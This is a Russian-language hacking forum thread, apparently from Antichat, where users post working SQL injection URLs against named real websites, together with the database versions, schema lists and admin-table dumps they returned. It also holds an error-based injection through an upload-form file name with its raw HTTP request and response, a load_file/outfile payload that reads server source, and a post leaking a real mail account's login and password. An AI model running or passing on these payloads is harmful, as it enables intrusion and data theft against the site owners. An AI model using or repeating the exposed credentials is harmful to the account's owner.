SQL Инъекции

Discussion in 'Уязвимости' started by yarbabin, 27 Apr 2015.

  1. demafly76

    demafly76 New Member

    Joined:
    14 Aug 2016
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://agiperwatch.ru/review.php?id=15'+union+select+1,2,group_concat(0x3a,schema_name+SEPARATOR+0x0b),concat_ws(0x3a,version(),user(),database())+from+information_schema.schemata+--+sp
    version: 5.1.49-3
    user: root@localhost
    database: agiperwatch
     
  2. R3hab

    R3hab Member

    Joined:
    17 May 2015
    Messages:
    117
    Likes Received:
    9
    Reputations:
    6
    Drivers & Downloads
    HTML:
    http://www.drivers-download.com/en/list.php?id=46%20/*!50000union*/%20distinct%20select%201,2,version(),4,5,6,7,8,9,10
    5.5.48-37.8
    ТИЦ 10
    AlexaRank 667,198
     
  3. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    261
    Likes Received:
    97
    Reputations:
    25
    Code:
    http://countryfest.ca/page.php?id=72%20OR%20(SELECT%20COUNT(*)%20FROM%20(SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203)x%20GROUP%20BY%20CONCAT(MID(VERSION(),%201,%2063),%20FLOOR(RAND(0)*2)))%20--
    5.5.50-log
     
    Lam3rsha likes this.
  4. demafly76

    demafly76 New Member

    Joined:
    14 Aug 2016
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    Телеком63 - о технологиях связи в Самаре
    Code:
    http://www.telecom63.ru/post.php?id=-1'+union+select+1,2,3,@@version,5,6,7,8,9,10,11+--+sp
    version: 5.6.25-73.1
    ТИЦ: 10
    базы:
    saminter_telecom63
    saminter_63f
    saminter_cms00
    saminter_db
    saminter_ekanevidal
    saminter_itvist
    saminter_mebeljournal
    saminter_pesokbeton
    saminter_samboard
    saminter_wp
    saminter_zavodoy
    Code:
    http://pksport.ru/post.php?id=-1'+union+select+1,version(),3,4,5,6,7+--+sp
    version: 5.5.48-log
    Code:
    http://alwaystop.ru/post.php?id=-1'+union+select+1,2,concat_ws(0x3a,version()),4,5,6,7+--+sp
    version:
    5.1.73-cll
     
    #104 demafly76, 26 Aug 2016
    Last edited: 26 Aug 2016
    Lam3rsha likes this.
  5. R3hab

    R3hab Member

    Joined:
    17 May 2015
    Messages:
    117
    Likes Received:
    9
    Reputations:
    6
    Complete Education Web Portal,Learn English Language Course,Jobs,Immigration,Study Abroad,Student Visa,Universities.and much more..
    Code:
    http://www.123freenet.com/funnysms/sms.php?id=-3'%20union%20select%201,2,3,4,5,%28select%28select%20concat%28%40%3a%3d0xa7%2c%28select%20count%28%2a%29from%28information_schema%2ecolumns%29where%28%40%3a%3dconcat%28%40%2c0x3c6c693e%2ctable_name%2c0x3a%2ccolumn_name%29%29%29%2c%40%29%29%29,7,8--+f
    AR 511,358
    AR country 12,642=PK (Pakistan)
    5.5.44-0ubuntu0.12.04.1-log
     
  6. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    476
    Likes Received:
    310
    Reputations:
    163
    Code:
    http://www.sironieditore.it/sezioni/articolo.php?ID_libro=978-88-518-0097-0&ID_articolo=-779%27+UNION%20SELECT%201,2,load_file(%27/var/www/htdocs/sironweb/htdocs/sezioni/articolo.php%27),4,5,6,7,8,9,10,11,12,13,14,15+into+outfile+%27/tmp/sdfgh%27--+
    
    :)
     
  7. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    261
    Likes Received:
    97
    Reputations:
    25
    Code:
    http://www.voshod-invest.ru/biz_show_buy.php?id=-8826+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+--+
    5.0.70-log Тиц 20
     
  8. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    261
    Likes Received:
    97
    Reputations:
    25
    Code:
    http://www.dublinsquarepub.com/news.php?id=1%20OR%20(SELECT%20COUNT(*)%20FROM%20(SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203)x%20GROUP%20BY%20CONCAT(MID(VERSION(),%201,%2063),%20FLOOR(RAND(0)*2)))%20--
    5.0.96-log
     
  9. foxxat

    foxxat New Member

    Joined:
    3 Oct 2016
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    roundcube SQL result:
    Code:
    http://mail.dp-dvk.com.ua
    username: noc@dp-dvk.com.ua
    pasw: noc12345
    
    :)
     
    ClayFox likes this.
  10. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    832
    Likes Received:
    805
    Reputations:
    90
    а скуль то где?
     
    _________________________
  11. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    516
    Likes Received:
    473
    Reputations:
    145
    Скулька в сервисе раздачи шмоток в Доте в запросе Insert при загрузке в имени файла, там же и залиться можно.
    через error - based выглядит так
    Запрос
    Code:
    POST /admin/addimg.php HTTP/1.1
    Host: dota2h1.ru
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://dota2h1.ru/admin/upload.php
    Connection: keep-alive
    Content-Type: multipart/form-data; boundary=---------------------------271871778025892
    Content-Length: 402
    
    -----------------------------271871778025892
    Content-Disposition: form-data; name="filename"; filename="' or extractvalue(0x0a,concat(0x0a,(select database()),0x0a, version())) , '"
    Content-Type: application/octet-stream
    
    <?php echo '11111' ?>
    
    -----------------------------271871778025892
    Content-Disposition: form-data; name="upload"
    
    upload
    -----------------------------271871778025892--
    
    Ответ

    Code:
    HTTP/1.1 302 Moved Temporarily
    Server: nginx
    Date: Sun, 16 Oct 2016 20:22:10 GMT
    Content-Type: text/html; charset=UTF-8
    Connection: keep-alive
    Location: http://dota2h1.ru/admin/upload.php
    Content-Length: 59
    
    1105: XPATH syntax error: '
    ideawebf_dota
    5.6.27-75.0-log'
    
     
    _________________________
  12. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,594
    Likes Received:
    1,242
    Reputations:
    273
  13. BabaDook

    BabaDook Level 8

    Joined:
    9 May 2015
    Messages:
    1,015
    Likes Received:
    1,363
    Reputations:
    43
    PHP:
    http://www.studioslips.com/selected_model.php?ManID=89&CabID=-4731+/*!UnIoN*/+SeLecT+1111,2222,3333,4444,5555#
    Так можно?
     
  14. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    832
    Likes Received:
    805
    Reputations:
    90
    можно так

    Code:
    http://www.studioslips.com/selected_model.php?ManID=89&CabID=-4731+/*!UnIoN*/+SeLecT/**/+1111,version/**/(),3333,4444,5555%23
    
     
    _________________________
  15. BabaDook

    BabaDook Level 8

    Joined:
    9 May 2015
    Messages:
    1,015
    Likes Received:
    1,363
    Reputations:
    43
    PHP:
    http://www.signsolutions.org.in/product.php?id=74'+and+false+uNiOn+SeLecT+1,2,concat(uname,0x2020,password),4,5,6,7,8,9,10,11+from+admin+--+-
    Если кто-то зальётся напишите
     
  16. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    261
    Likes Received:
    97
    Reputations:
    25
    Тиц 1300, неплохой траф

    Code:
    http://carexpert.ru/news/2016-11-24/cn17'%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203%29x%20GROUP%20BY%20CONCAT%28MID%28VERSION%28%29,%201,%2063%29,%20FLOOR%28RAND%280%29*2%29%29%29+--+/
     
    artkar likes this.
  17. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    153
    Likes Received:
    38
    Reputations:
    1
  18. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
  19. R3hab

    R3hab Member

    Joined:
    17 May 2015
    Messages:
    117
    Likes Received:
    9
    Reputations:
    6
    speed21 likes this.
  20. speed21

    speed21 Хэшкрякер

    Joined:
    2 Feb 2012
    Messages:
    253
    Likes Received:
    102
    Reputations:
    29
    Code:
    http://vetrb.ru/index_view.php?id=4%27+and+1=0+union+select+1,concat_ws(0x3a,version(),database()),3+--+f
    10.1.21-MariaDB:muslimov_vetrb

    ТИЦ 10
     
    #120 speed21, 21 Jan 2017
    Last edited: 21 Jan 2017
Loading...